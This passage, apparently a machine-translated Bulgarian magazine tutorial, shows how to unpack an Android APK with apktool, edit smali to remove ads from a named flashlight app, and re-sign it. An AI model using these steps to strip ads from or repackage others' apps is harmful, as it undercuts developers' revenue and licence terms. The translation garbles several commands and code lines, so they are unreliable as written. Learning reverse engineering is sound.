  • aapt   - инструмент за пакетиране на ресурси (по подразбиране ресурсите се съхраняват в двоичен вид за оптимизиране на производителността на приложението). Включва се в SDK за Android, но може да се получи отделно;
  • подписващия   - инструмент за цифрово подписване на модифициран пакет (bit.ly/Rmrv4M).

Можете да използвате всички тези инструменти поотделно, но това е неудобно, така че е по-добре да използвате софтуер от по-високо ниво, създаден на тяхна основа. Ако работите на Linux или Mac OS X, тогава има инструмент, наречен apktool. Тя ви позволява да разопаковате ресурси в оригиналния им вид (включително двоични XML и arsc файлове), да възстановите пакет с модифицирани ресурси, но не можете да подписвате пакети, така че ще трябва да стартирате ръчната програма за подписване. Въпреки факта, че помощната програма е написана на Java, инсталирането й е по-скоро нестандартно. Първо, вземете самия файл с буркана:

   $ cd / tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

   $ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~ / bin $ mv apktool-install-linux-r05-ibot / * ~ / bin $ export PATH \u003d ~ / bin: $ PATH

Ако работите в Windows, тогава има отличен инструмент за него, наречен Virtual Ten Studio, който също натрупва всички тези инструменти (включително самия apktool), но вместо CLI интерфейса предоставя на потребителя интуитивен графичен интерфейс, с който можете да извършвате операции разопаковане, разглобяване и разглобяване с няколко кликвания. Този инструмент е Donation-ware, тоест понякога се появяват прозорци с предложение за получаване на лиценз, но в крайна сметка това може да се толерира. Няма смисъл да го описвате, защото можете да разберете интерфейса за няколко минути. Но apktool, поради конзолния си характер, трябва да бъде обсъден по-подробно.


Помислете за опциите на apktool. Накратко, има три основни команди: d (декодиране), b (изграждане) и if (инсталирайте рамка). Ако всичко е ясно с първите две команди, тогава какво прави третия условен оператор? Той разопакова определената UI рамка, която е необходима, когато подготвяте системен пакет.

Помислете за най-интересните опции за първата команда:

  • -s   - не разглобявайте dex файлове;
  • -r   - не разопаковайте ресурси;
  • -b   - не вмъквайте информация за отстраняване на грешки в резултатите от разглобяването на dex файла;
  • --frame-пътека   - използвайте определената UI рамка вместо вградения apktool. Сега помислете за няколко опции за команда b:
  • -f   - принудително сглобяване без проверка на промените;
  •   - посочете пътя към aapt (инструмент за сглобяване на APK архива), ако по някаква причина искате да го използвате от друг източник.

Използването на apktool е много просто, просто посочете една от командите и пътя към APK, например:

   $ apktool d mail.apk

След това всички извлечени и разглобени файлове с пакети ще се появят в пощенската директория.

Дисекция. Деактивиране на рекламите

Теорията е, разбира се, добра, но защо е необходима, ако не знаем какво да правим с разопакования пакет? Нека се опитаме да приложим теорията в полза на себе си, а именно, ние модифицираме някои софтуер, така че да не ни показва реклама. Например, нека бъде Virtual Torch - виртуална факла. За нас този софтуер е идеален, тъй като е пълен с досадни реклами, а също така достатъчно прост, за да не се изгубите сред дивата природа на кода.


Така че, използвайки един от горните методи, изтеглете приложението от пазара. Ако решите да използвате Virtuous Ten Studio, просто отворете APK файла в приложението и го разархивирайте, за което създайте проект (Файл -\u003e Нов проект), след което изберете Импортиране на файл в контекстното меню на проекта. Ако вашият избор падна на apktool, просто изпълнете една команда:

   $ apktool d com.kauf.particle.virtualtorch.apk

След това в директорията com.kauf.particle.virtualtorch ще се появи файлово дърво, подобно на описаното в предишния раздел, но с допълнителна директория smali вместо dex файлове и файла apktool.yml. Първият съдържа разглобения код на изпълнимия dex файл на приложението, вторият съдържа сервизна информация, необходима на apktool за изграждане на пакета обратно.

Първото място, което трябва да търсим, е, разбира се, AndroidManifest.xml. И тук веднага срещаме следния ред:

Лесно е да се предположи, че тя е отговорна за предоставянето на приложението с правомощието да използва интернет връзката. Всъщност, ако просто искаме да се отървем от рекламата, най-вероятно това ще ни бъде достатъчно да забраним интернет приложението. Опитайте се да го направите. Изтрийте посочения ред и опитайте да изградите софтуера с помощта на apktool:

   $ apktool b com.kauf.particle.virtualtorch

Полученият APK файл ще се появи в директорията com.kauf.particle.virtualtorch / build /. Той обаче не може да бъде инсталиран, тъй като няма цифров подпис и контролни суми за файловете (той просто няма директорията META-INF /). Трябва да подпишем пакета с помощта на помощната програма apk-signner. Стартирала. Интерфейсът се състои от два раздела - на първия (Key Generator) създаваме ключове, на втория (APK Signer) подписваме. За да създадете нашия личен ключ, попълнете следните полета:

  • Целеви файл   - Изходният файл на хранилището на ключове; обикновено съхранява една ключова двойка;
  • парола   и Потвърждение   - парола за трезора;
  • псевдоним   - името на ключа в хранилището;
  • Псевдоним парола   и Потвърждение   - парола за секретен ключ;
  • валидност   - срок на валидност (в години). Стойността по подразбиране е оптимална.

Останалите полета по принцип са незадължителни - но трябва да попълните поне едно.


ПРЕДУПРЕЖДЕНИЕ

За да подпишете приложението с помощта на apk-signner, трябва да инсталирате Android SDK и да зададете пълния път до него в настройките на приложението.

Цялата информация се предоставя само за информационни цели. Нито редакторите, нито авторът са отговорни за всяка възможна вреда, причинена от материалите в тази статия.

Сега можете да подпишете APK с този ключ. В раздела APK Signer изберете новосъздадения файл, въведете паролата, псевдонима на ключа и паролата за него, след това намерете APK файла и смело щракнете върху бутона "Sign". Ако всичко върви добре, пакетът ще бъде подписан.

INFO

Тъй като подписахме пакета със собствен ключ, той ще влиза в конфликт с оригиналното приложение, което означава, че когато се опитаме да актуализираме софтуера през пазара, ще получим грешка.

Цифровият подпис се изисква само от софтуер на трети страни, така че ако променяте системни приложения, които са инсталирани чрез копиране в / system / app / директорията, не е необходимо да ги подписвате.

След това пускаме пакета на смартфона, инсталираме и стартираме. Voila, рекламата я няма! Вместо това обаче се появи съобщение, че нямаме интернет или че няма съответни разрешения. На теория това може да е достатъчно, но съобщението изглежда досадно и, за да бъда честен, просто имахме късмет с тъпо приложение. Обикновено написаният софтуер най-вероятно ще изясни своите идентификационни данни или ще провери наличието на интернет връзка и в противен случай той просто отказва да стартира. Какво да правим в този случай? Разбира се, редактирайте кода.

Обикновено авторите на приложения създават специални класове за показване на реклами и методи за повикване на тези класове по време на стартиране на приложението или една от неговите „дейности“ (с други думи, екрани на приложения). Нека се опитаме да намерим тези класове. Отиваме в директорията smali, след това com (в org има само отворената графична библиотека cocos2d), след това kauf (там, защото това е името на разработчика и целият му код е там) - и ето го, маркетинговата директория. Вътре намираме куп файлове с разширението smali. Това са класове и най-забележителният от тях е клас Ad.smali, по името на който е лесно да се отгатне какво точно показва рекламите.

Бихме могли да променим логиката на работата му, но би било много по-просто глупаво да премахнем обажданията на някой от нейните методи от самото приложение. Следователно излизаме от маркетинговата директория и отиваме в съседната директория с частици, а след това към virtualtorch. Особена забележка тук е файлът MainActivity.smali. Това е стандартният Android клас, който е създаден от Android SDK и е зададен като входна точка на приложението (аналог на основната функция в C). Отворете файла за редактиране.

Вътре е кодът smali (локален асемблер). Той е доста объркващ и труден за четене поради ниското си естество, така че няма да го изучаваме, а просто ще намерим в кода всички препратки към рекламния клас и да ги коментираме. Ние караме в низ „Ad“ в търсенето и стигаме до ред 25:

Теренна частна реклама: Lcom / kauf / маркетинг / Реклама;

Това създава рекламно поле за съхранение на обект от клас Ad. Коментираме, като зададете знака ### пред реда. Продължаваме търсенето. Ред 423:

Нова инстанция v3, Lcom / kauf / маркетинг / Реклама;

Тук се осъществява създаването на обекта. Коментар. Продължаваме търсенето и намираме в редове 433, 435, 466, 468, 738, 740, 800 и 802 достъпи до методите на рекламния клас. Коментар. Като всичко. Запиши. Сега пакетът трябва да бъде сглобен обратно и да се провери неговата функционалност и реклама. За чистотата на експеримента връщаме линията, премахната от AndroidManifest.xml, събираме пакета, подписваме и инсталираме.

   Нашият експериментален заек. Рекламите се виждат

Оп-па! Рекламата изчезна само докато стартира приложението, но остана в главното меню, което виждаме, когато стартираме софтуера. И така, изчакайте, но входната точка е класът MainActivity, а рекламата изчезна по време на работа на приложението, но остана в главното меню, така че входната точка е различна? За да разкриете истинската точка на влизане, отворете файла AndroidManifest.xml отново. И да, има следните редове:

Те ни казват (и по-важното за андроида), че активност с име Start трябва да се стартира в отговор на генерирането на намерението (събитието) android.intent.action.MAIN от категорията android.intent.category.LAUNCHER. Това събитие се генерира, когато докоснете иконата на приложението в стартовия панел, следователно тя определя входната точка, а именно клас "Старт". Най-вероятно програмистът първо написа приложението без главното меню, входната точка към което беше стандартният клас MainActivity, след което добави нов прозорец (активност), съдържащ менюто и описан в клас Start, и ръчно го направи входната точка.

Отворете файла Start.smali и отново потърсете реда „Реклама“, в редове 153 и 155 намираме споменаването на класа FirstAd. Той също е в изходния код и, съдейки по името, е просто отговорен за показването на реклами на главния екран. Поглеждаме по-нататък, създаваме екземпляр от класа и намерение FirstAd, който има контекст, свързан с този екземпляр, и след това етикета cond_10, условният преход към който се извършва точно преди създаването на екземпляра на класа:

If-ne p1, v0,: cond_10 .line 74 new-instance v0, Landroid / content / Intent; ...: cond_10

Най-вероятно програмата по някакъв начин произволно изчислява дали да се показват реклами на главния екран и, ако не, скочи веднага на cond_10. Добре, опростяваме задачата за нея и заместваме условния преход с безусловния:

   # if-ne p1, v0,: cond_10 goto: cond_10

Няма повече споменавания на FirstAd в кода, така че затворете файла и сглобете нашата виртуална факла с помощта на apktool. Копираме на смартфона, инсталираме, стартираме. Воала, цялата реклама е изчезнала и поздравления за всички нас.

резултати

Тази статия е само кратко въведение към методите за отваряне и промяна на приложения за Android. Много въпроси останаха зад кулисите, като премахване на защита, анализ на замъгления код, превод и подмяна на ресурси на приложенията и промяна на приложения, написани с помощта на Android NDK. Все пак, ако имате основни знания, разбирането на всичко това е само въпрос на време.

Споделете това